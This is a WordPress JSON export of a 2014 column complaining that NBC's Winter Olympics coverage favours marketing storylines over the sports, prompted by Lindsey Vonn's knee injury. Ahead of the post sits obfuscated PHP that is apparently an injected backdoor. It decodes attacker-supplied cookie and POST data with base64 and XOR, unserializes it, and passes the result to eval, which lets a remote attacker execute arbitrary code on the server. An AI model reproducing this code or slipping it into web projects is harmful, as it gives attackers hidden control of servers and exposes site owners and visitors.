$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2178,"date":"2014-01-14T09:21:27","date_gmt":"2014-01-14T14:21:27","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2178"},"modified":"2014-01-14T09:21:43","modified_gmt":"2014-01-14T14:21:43","slug":"do-the-olympics-have-sports-anymore","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2178","title":{"rendered":"Do the Olympics Have Sports Anymore?"},"content":{"rendered":"<p><span style=\"line-height: 1.5em;\">I\u2019m sure everyone has heard the news by now. Due to a knee injury, marketing plans for NBC\u2019s coverage of the upcoming Winter Olympics are up in the air. This knee injury may prevent millions of Americans from watching the Games.<\/span><\/p>\n<p>Well, that\u2019s the version I gleaned from my online interactions. In reality, American skiing star Lindsey Vonn announced she couldn\u2019t ski next month at the Olympics because of an injury to her knee.<\/p>\n<p>But why worry about the health and dreams of an athlete when we can talk about marketing plans and commercials?<\/p>\n<p>I know that makes me sound curmudgeonly, but if it\u2019s curmudgeonly to actually care about the sports more than the ratings, I\u2019ll wear that badge with honor.<\/p>\n<p>These days, I occupy a strange niche of sports fans. The sports themselves mean more to me than any of the stuff which goes on around them. The television networks, however, have little time for my kind because we\u2019re a dying breed.<\/p>\n<p>I do feel bad that Vonn won\u2019t be able to ski in the Olympics, but this notion that she will kill the way NBC promotes the competition is just silly. Instead of breathless promo after breathless promo about her, we\u2019ll have anguished profile after anguished profile about how her dreams have been dashed.<\/p>\n<p>While that stuff is going on, people like me will be screaming at the television, \u201cThere are actual sports happening right now! Show them to me!\u201d<\/p>\n<p>Crazy, right?<\/p>\n<p>Despite the fact that television coverage of the Olympics does everything it can to show us as little actual competition as possible, I remain entranced by the spectacle. As a kid, I dreamed of one day wrestling in front of the whole world on that stage.<\/p>\n<p>Back then, Bruce Jenner ended up on the Wheaties box after he won his event. The post-game plans for athletes these days come way before anyone steps on the medal stand and sometimes don\u2019t even reflect who won the competition.<\/p>\n<p>Things have improved a little bit with the ability for NBC to stream sports online. Folks like me can tune into the things they love to watch that way and leave the \u201cToday Show\u201d treatment to the prime time program aimed at people who may not care who wins or loses.<\/p>\n<p>I should learn to appreciate this development. I can plan my own schedule instead of sitting through teaser after teaser for something they will only show in a heavily-edited package at 10:50 p.m. That kind of stuff happens far too often these days.<\/p>\n<p>So while NBC frets over how to re-frame the storylines they pre-determined months ago, I will scour the Internet for the best time to catch some curling action or live coverage of biathlon, one of those sports that continues to fascinate me.<\/p>\n<p>As long as they don\u2019t try and compare someone who hurts themselves to Lindsey Vonn, I\u2019ll be OK. I don\u2019t have anything against her. I just want to focus on the things that actually happen at the Olympics. I\u2019m a weirdo like that.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I\u2019m sure everyone has heard the news by now. Due to a knee injury, marketing plans for NBC\u2019s coverage of the upcoming Winter Olympics are up in the air. This knee injury may prevent millions of Americans from watching the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,3,86,13,7],"tags":[],"class_list":["post-2178","post","type-post","status-publish","format-standard","hentry","category-america","category-columns","category-olympics","category-sports","category-tv","wpcat-6-id","wpcat-3-id","wpcat-86-id","wpcat-13-id","wpcat-7-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2178"}],"version-history":[{"count":2,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2178\/revisions"}],"predecessor-version":[{"id":2180,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2178\/revisions\/2180"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}